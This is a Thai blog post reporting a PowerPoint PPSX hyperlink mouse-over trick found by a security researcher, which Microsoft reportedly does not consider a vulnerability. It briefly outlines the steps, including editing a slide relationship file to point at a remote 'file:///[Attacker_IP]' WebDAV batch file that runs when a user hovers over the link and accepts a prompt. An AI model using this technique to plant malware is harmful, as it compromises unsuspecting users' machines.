Bloggang.com : สมาชิกหมายเลข 4149951 - ◐◑↔โปรแกรมยอดนิยม พบช่องโหว่ แค่เอาเมาส์ชี้เหนือลิงก์ ก็มีสิทธิ์ติดมัลแวร์

◐◑↔โปรแกรมยอดนิยม พบช่องโหว่ แค่เอาเมาส์ชี้เหนือลิงก์ ก็มีสิทธิ์ติดมัลแวร์

เฮดบล็อก ....ญามี่

พบช่องโหว่ใน PowerPoint แค่เอาเมาส์ชี้เหนือลิงก์ ก็มีสิทธิ์ติดมัลแวร์

ภาพ วิกิพีเดีย

ไมโครซอฟท์ พาวเวอร์พอยต์

Mandar Satam นักวิจัยความปลอดภัยอิสระ ค้นพบช่องโหว่ที่สามารถใช้โจมตีผ่านไฟล์ PowerPoint ได้ อย่างไรก็ตาม ทาง Microsoft กลับมองว่านี่ไม่ใช่ช่องโหว่แต่อย่างใด

จากผลการวิจัยของ Satam เขาพบว่า ในระบบการทำงานของ PowerPoint นั้น สามารถที่จะกำหนด "รูปแบบการกระทำ" ที่จะเกิดขึ้นเมื่อเอาเมาส์ไปชี้เหนือ Hypertext link ได้ โดยการสร้างไฟล์สไลด์ขึ้นมาในรูปแบบของ Open XML Slide Show ที่เรียกว่า PPSX มันเป็นไฟล์ PowerPoint ชนิดหนึ่งที่ออกแบบมาเพื่อใช้ในการเล่นพรีเซนเทชันเพียงอย่างเดียว ไม่สามารถแก้ไขได้ จากนั้นก็ตั้งค่า "Action" ของ HyperLink ให้เป็น "Other file"

ภาพ วิกิพีเดีย

หลังจากนั้นก็เข้าไปแก้ไขไฟล์ PPSX ที่สร้างขึ้นมาด้วยโปรแกรม ZIP เปลี่ยนค่า rID ที่อยู่ใน "pptslides_relsslide1.xml.rels" ให้เชื่อมต่อไปยัง "file:///[Attacker_IP]webdavfolderfile.bat"

เท่านี้เมื่อผู้ใช้เอาเมาส์ไปลอยชี้เหนือลิงก์ใน PowerPoint จากนั้นทันทีที่ผู้ใช้เอาเมาส์ไปชี้เหนือลิงก์ หน้าต่าง Pop-ups จะเด้งขึ้นมาทันที หากผู้ใช้คลิกตกลงไป ก็จะสามารถติดตั้งมัลแวร์ลงในเครื่องได้ทันที

คลิกเพื่อชมภาพและอ่านต่อ...

ขอบคุณของแต่งบล็อกโดย...

ไลน์สวยๆโดย...ญามี่ / ภาพกรอบ กรอบ goffymew / โค๊ตบล็อกสำหรัมือใหม่ กุ๊กไก่ / เฮดบล็อก เรือนเรไร /ไอคอน ชมพร / สีแต่งบล็อก Zairill /ภาพไอคอนRainfall in August / แบนด์..การ์ตูน ไลน์น่ารักๆๆจาก... oranuch_sri

Create Date : 11 เมษายน 2563
Last Update : 11 เมษายน 2563 20:53:16 น.
Counter : 150 Pageviews.

0 comments

(โหวต blog นี้)

	รีวิว ตู้เย็นแช่แข็งพกพา Dometic CF Series ( CF 26 ) ควรซื้อไหม ? แช่แข็งได้จริงไหม ? Tisiny (9 มิ.ย. 2563 05:52:49 น.)		ข้อแตกต่างระหว่าง แผ่นซับเสียงและฉนวนกันเสียง Endless (8 มิ.ย. 2563 09:58:00 น.)
	[FF7R] บันทึกจบเกมรอบแรก ชีริว (25 เม.ย. 2563 21:30:44 น.)		3เหตุผล ที่ยังไม่ควรซื้อมือถือ 5G ฟาฬ (15 ก.พ. 2563 09:29:29 น.)

Knowledge-dd.BlogGang.com

สมาชิกหมายเลข 4149951

Location :

[ดู Profile ทั้งหมด]

ผู้ติดตามบล็อก : 12 คน [?]

บทความทั้งหมด